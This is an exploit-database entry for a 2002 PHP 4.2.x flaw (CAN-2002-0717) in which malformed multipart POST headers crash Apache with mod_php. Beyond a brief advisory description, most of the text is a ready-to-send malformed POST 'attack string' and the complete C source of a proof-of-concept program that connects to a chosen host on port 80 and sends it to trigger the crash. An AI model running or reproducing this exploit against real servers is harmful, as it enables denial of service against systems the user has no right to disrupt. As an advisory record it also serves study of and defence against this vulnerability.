PHP HTTP POST Incorrect MIME Header Parsing

Against

Apache with mod_php on Linux, *BSD, Unix

IDs

Bugtraq: 5278
CVE: CAN-2002-0717
CERT-Advisory: CA-2002-21

Category

Input validation error

Effect

Denial of Service

Source

Packetstorm, Bugtraq

Description

From the Bugtraq vulnerability database:

A vulnerability has been reported for PHP versions 4.2.0 and 4.2.1. It is possible for a remote attacker to cause the PHP interpreter to crash the web server on a vulnerable system and execute malicious, attacker supplied code.

The vulnerability is the result of the PHP interpreter incorrectly parsing MIME headers when HTTP POST commands are received. When PHP receives a malformed POST request, it generates an error condition that is improperly handled. As a result, the attacker may cause the web server to crash and possibly execute supplied code.

From the Bugtraq postings: This vulnerability may be exploitable on Sparc.

Attack string

POST //mail/src/login.php HTTP/1.0
Content-type: multipart/form-data; boundary=---------------------------123
Content-length: 129

-----------------------------123
Content-Disposition: filename


http://www.dtors.net
-----------------------------123--

Attack program source

DSR-php4.2x.c

/* DSR-php4.2x.c
 * The follow is Proof Of Concept code to
 * to reproduce the segmentation violation
 * in PHP4.2.0 & PHP4.2.1 with Apache 1.3.26 on
 * x86 arch. Found by Joseph S. TestaII
 *
 * Proof Of Concept code by bob@dtors.net
 * [notice] child pid 10779 exit signal Segmentation fault (11)
 * 
 */


#include <stdio.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>

int main(int argc, char *argv[]) {
int sock, i;
char seg[250];
struct in_addr addr;
struct sockaddr_in sin;
struct hostent *he;
 

fprintf(stdout, "\nDSR-php4.2x.c By bob. POC.[www.dtors.net]\n\n"); 
if(argc<3) 
  {
   fprintf(stderr, "\nUsage : %s <host> <php file>\n\n", argv[0]);
   exit(1);
  } 


if ((he=gethostbyname(argv[1])) == NULL)
   {
   fprintf(stderr, "ERROR: Hostname lookup failed!\n\n");
   exit(1);
   }

sock=socket(AF_INET, SOCK_STREAM, 0);
bcopy(he->h_addr, (char *)&sin.sin_addr, he->h_length);
sin.sin_family=AF_INET;
sin.sin_port=htons(80);

fprintf(stdout, "Connecting to %s... \n",argv[1]);
if (connect(sock, (struct sockaddr*)&sin, sizeof(sin))!=0)
     {
     perror("Connect failed");
     exit(1);
     }

else {
sleep(5);
fprintf(stdout, "Sending headers... \n");
sprintf(seg,"POST /%s HTTP/1.0\nContent-type: multipart/form-data; boundary=---------------------------123\nContent-length: 129\n\n-----------------------------123\nContent-Disposition: filename\n\n\nhttp://www.dtors.net\n-----------------------------123--\n\n",argv[2]);

     write(sock,seg,strlen(seg));
     
     
fprintf(stdout, "...headers sent! \n\n");
fprintf(stdout, "Now check your error_log, for apache [child pid] signal(11)\n");
close(sock);

}
}